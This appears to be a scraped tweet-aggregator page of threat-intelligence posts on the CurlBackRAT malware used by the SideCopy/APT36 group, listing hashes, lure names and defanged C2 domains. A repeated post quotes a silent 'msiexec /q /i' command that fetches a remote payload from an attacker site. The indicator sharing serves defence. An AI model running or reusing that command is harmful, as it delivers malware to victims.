Top Tweets for #CurlBackRAT
/2 #APT36 #CrimsonRAT
jnacvrt iagsmrw.exe
1666caec2fe7c071db66b01c44fcf289
#C2
204.12.245.189
sharmaxme11[.]org
19662, 24858, 29865, 31262, 36721
#SideCopy #APT #CurlBackRAT
ongc.ntpmanager[.]com
gomtinagar.lpsc[.co.in
@500mk500
ref: https://t.co/2CgiQ2huio
Next stage from: https://gomtinagar.lpsc.[co].in/docs/Details/wines/details.msi
->
479eb5558b756e45975920568f54893b9ac3435bd63f2663a16533db0eebb6eb
CurlBackRAT detections...
Traffic to: ongc.ntpmanager[.]com
🤷♂���
![malwrhunterteam's tweet photo. Next stage from: https://gomtinagar.lpsc.[co].in/docs/Details/wines/details.msi
->
479eb5558b756e45975920568f54893b9ac3435bd63f2663a16533db0eebb6eb
CurlBackRAT detections...
Traffic to: ongc.ntpmanager[.]com
🤷♂��� https://t.co/bN9ZBlhBUX](https://pbs.twimg.com/media/G71qOCFWAAAdOWN.jpg)
[2/3] #APT36 #SideCopy
.pdf.lnk
0439e1f4b7b095e884bff55712c763b5
20250731-Deferment.msi
4166209a7d56616f8126f0b40a56879d
DUI70.dll #CurlBackRAT
98171f1500dce859e447b2fe443d9212
45a1d3a26cb75fe2ba518044d540bff3
6ed8a58f5f8bb189e9959e2b4cb0d5c7
8b48cabf89445f77344548e2dd76f8f8
#APT36 #SideCopy #Phishing #APT
[1/3]
20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785.zip
99b2235101a9a1eb922527b1a31e9b51
737cbe4cef2f2a178b9f91d2104f7dd3
be263bee537ab60901fa1436c91ce32e
ZipModifyDate 2025:09:25
#CurlBackRAT #C2
microsoft.windowsdns[.]com
![PrakkiSathwik's tweet photo. #APT36 #SideCopy #Phishing #APT
[1/3]
20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785.zip
99b2235101a9a1eb922527b1a31e9b51
737cbe4cef2f2a178b9f91d2104f7dd3
be263bee537ab60901fa1436c91ce32e
ZipModifyDate 2025:09:25
#CurlBackRAT #C2
microsoft.windowsdns[.]com https://t.co/VRfKDXOkZM](https://pbs.twimg.com/media/G6MNi9xa8AEGm6s.png)
#APT36 #SideCopy #TransparentTribe
ZIP > LNK > MSI > #CurlBackRAT (Most likely)
hxxps://vetpharmaconsultant.in/js/doccs/20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785/wins
#Phishing #APT
#APT36 #SideCopy #TransparentTribe
ZIP > LNK > MSI > #CurlBackRAT (Most likely)
hxxps://vetpharmaconsultant.in/js/doccs/20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785/wins
#Phishing #APT
20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785.zip
eda0eeb8133ad6a8ce33d8aad92c18df
20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785.pdf.lnk
28d6fbb7abf0f7a869dea657a36140ea
C2
vetpharmaconsultant[.]in
#IOC
#SideCopy #APT #Phishing
Tour Programme Ayodhya.pdf.lnk
c59efe3739ae3e2814ff48f41b0d0ad8
ompowerterminus[.]com
SVNUpdates #MSI
4cc0cc070ec8a51b437ddc393487bb7e
DUI70.dll #CurlBackRAT
f4a82380cc0e246a4f576bc81fa6f879
#C2
backup[.]intelupates[.]com
#APT36 #TransparentTribe
![PrakkiSathwik's tweet photo. #SideCopy #APT #Phishing
Tour Programme Ayodhya.pdf.lnk
c59efe3739ae3e2814ff48f41b0d0ad8
ompowerterminus[.]com
SVNUpdates #MSI
4cc0cc070ec8a51b437ddc393487bb7e
DUI70.dll #CurlBackRAT
f4a82380cc0e246a4f576bc81fa6f879
#C2
backup[.]intelupates[.]com
#APT36 #TransparentTribe https://t.co/tl806g6JfE](https://pbs.twimg.com/media/GwH_wm6bMAArLJH.jpg)
#SideCopy #APT #CurlBackRAT
Blackout-Rehearsal-Plan.pdf.lnk
68c7c14b9ac69491b23b3c3ad88f3a1e
BlackoutRehearsalPlan.msi #MSI
b6ef8bb7e47ddc55131990e21d2519a7
msiexec.exe /q /i hxxps://gchindia.com/lib/pdf/Blackout-Rehearsal-Plan/wins/
DUI70.dll
6af1776a02536f72f810ca0fa21f38ff

#SideCopy #APT #CurlBackRAT
Blackout-Rehearsal-Plan.pdf.lnk
68c7c14b9ac69491b23b3c3ad88f3a1e
BlackoutRehearsalPlan.msi #MSI
b6ef8bb7e47ddc55131990e21d2519a7
msiexec.exe /q /i hxxps://gchindia.com/lib/pdf/Blackout-Rehearsal-Plan/wins/
DUI70.dll
6af1776a02536f72f810ca0fa21f38ff

#SideCopy #APT #CurlBackRAT
Blackout-Rehearsal-Plan.pdf.lnk
68c7c14b9ac69491b23b3c3ad88f3a1e
BlackoutRehearsalPlan.msi #MSI
b6ef8bb7e47ddc55131990e21d2519a7
msiexec.exe /q /i hxxps://gchindia.com/lib/pdf/Blackout-Rehearsal-Plan/wins/
DUI70.dll
6af1776a02536f72f810ca0fa21f38ff

New Research Blog: "Goodbye HTA, Hello MSI: New TTPs and Clusters of an #APT driven by Multi-Platform Attacks"
#SideCopy expands targeting from Government, Defense, Maritime sectors to Railways, Oil & Gas, and External Affairs
#XenoRAT #SparkRAT #CurlBackRAT
#IOC in link below

#DISGOMOJI #APT36 #TransparentTribe
vmcoreinfo.txt
4c52bb770d7b8639e1f305f908dbc800
Password (Golang Downloader)
4eaa6a69c9835c29ce8d39734e5d3d5f
#Opendir #APT
campusportals[.]in
Hidden URLs hosting #SideCopy payloads on same domain
IOCs in new blog:
https://t.co/WpUoUW2I47
![PrakkiSathwik's tweet photo. #DISGOMOJI #APT36 #TransparentTribe
vmcoreinfo.txt
4c52bb770d7b8639e1f305f908dbc800
Password (Golang Downloader)
4eaa6a69c9835c29ce8d39734e5d3d5f
#Opendir #APT
campusportals[.]in
Hidden URLs hosting #SideCopy payloads on same domain
IOCs in new blog:
https://t.co/WpUoUW2I47 https://t.co/zLEFb4EKeU](https://pbs.twimg.com/media/GToePw1WoAAO2_Z.jpg)
Last Seen Hashtags on Sotwe
bhagyashriborse
Seen from India
nolimit()****************
Seen from Italy
minichat minichat filter:videos
Seen from Turkey
นัดเย็ดเมืองเลย
Seen from Thailand
tattooedporn
Seen from Malaysia
Naked
Seen from Germany
yengeens
Seen from Turkey
diyarbakirtravesti
Seen from Turkey
teenageee
Seen from Australia
niğdebayan
Seen from Turkey
Trends for you
Most Popular Users

Elon Musk 
@elonmusk
241.5M followers

Barack Obama 
@barackobama
118.9M followers

Cristiano Ronaldo 
@cristiano
114.6M followers

Donald J. Trump 
@realdonaldtrump
111.8M followers

Narendra Modi 
@narendramodi
107.1M followers

Rihanna 
@rihanna
98.7M followers

NASA 
@nasa
92.3M followers

Justin Bieber 
@justinbieber
91.8M followers

KATY PERRY 
@katyperry
90M followers

Taylor Swift 
@taylorswift13
84M followers

Lady Gaga 
@ladygaga
75.5M followers

Virat Kohli 
@imvkohli
73.5M followers

Kim Kardashian 
@kimkardashian
70.9M followers

YouTube 
@youtube
68.8M followers

Neymar Jr 
@neymarjr
66.5M followers

Bill Gates 
@billgates
65.2M followers

Selena Gomez 
@selenagomez
63.1M followers

The Ellen Show
@theellenshow
62.2M followers

CNN 
@cnn
61.8M followers

X 
@x
60.7M followers



![PrakkiSathwik's tweet photo. #APT36 #SideCopy #Phishing #APT
[1/3]
20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785.zip
99b2235101a9a1eb922527b1a31e9b51
737cbe4cef2f2a178b9f91d2104f7dd3
be263bee537ab60901fa1436c91ce32e
ZipModifyDate 2025:09:25
#CurlBackRAT #C2
microsoft.windowsdns[.]com https://t.co/VRfKDXOkZM](https://pbs.twimg.com/media/G6MHi2DaQAA2Ybr.jpg)
![PrakkiSathwik's tweet photo. #APT36 #SideCopy #Phishing #APT
[1/3]
20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785.zip
99b2235101a9a1eb922527b1a31e9b51
737cbe4cef2f2a178b9f91d2104f7dd3
be263bee537ab60901fa1436c91ce32e
ZipModifyDate 2025:09:25
#CurlBackRAT #C2
microsoft.windowsdns[.]com https://t.co/VRfKDXOkZM](https://pbs.twimg.com/media/G6MHh35acAcHmuz.png)
![PrakkiSathwik's tweet photo. #APT36 #SideCopy #Phishing #APT
[1/3]
20250731-Deferment-of-implementation-of-Rule-9-of-LPS-Rule_434_785.zip
99b2235101a9a1eb922527b1a31e9b51
737cbe4cef2f2a178b9f91d2104f7dd3
be263bee537ab60901fa1436c91ce32e
ZipModifyDate 2025:09:25
#CurlBackRAT #C2
microsoft.windowsdns[.]com https://t.co/VRfKDXOkZM](https://pbs.twimg.com/media/G6L-Y7OacAgMtzl.png)



